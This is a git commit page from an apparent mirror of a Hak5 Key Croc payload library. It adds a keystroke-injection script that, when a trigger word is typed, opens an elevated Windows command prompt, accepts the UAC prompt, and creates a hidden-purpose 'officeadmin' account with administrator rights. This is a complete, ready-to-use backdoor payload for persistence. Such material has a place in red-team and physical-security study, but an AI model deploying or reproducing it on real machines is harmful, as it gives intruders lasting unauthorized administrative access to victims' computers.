mirror of
https://github.com/hak5/keycroc-payloads.git
synced 2026-04-21 01:00:05 +01:00
misc: Move library into payloads parent folder
This commit is contained in:
26
payloads/library/persistence/WIN_AddAdmin/addadmin.txt
Normal file
26
payloads/library/persistence/WIN_AddAdmin/addadmin.txt
Normal file
@@ -0,0 +1,26 @@
|
||||
# Title: Add a backdoor user to access PC later (assuming PC is unlocked)
|
||||
# Author: Saint Crossbow
|
||||
# Version: 1.0
|
||||
|
||||
MATCH __addadmin
|
||||
LED ATTACK
|
||||
|
||||
BACKDOOR_USER="officeadmin"
|
||||
BACKDOOR_PASS="changethis"
|
||||
|
||||
sleep 2
|
||||
Q GUI r
|
||||
Q STRING "cmd"
|
||||
Q CTRL-SHIFT ENTER
|
||||
sleep 2
|
||||
Q ALT Y
|
||||
sleep 1
|
||||
Q STRING "net user /add $BACKDOOR_USER $BACKDOOR_PASS"
|
||||
Q ENTER
|
||||
Q STRING "net localgroup administrators $BACKDOOR_USER /add"
|
||||
Q ENTER
|
||||
Q STRING "exit"
|
||||
Q ENTER
|
||||
LED FINISH
|
||||
sleep 1
|
||||
LED OFF
|
||||
Reference in New Issue
Block a user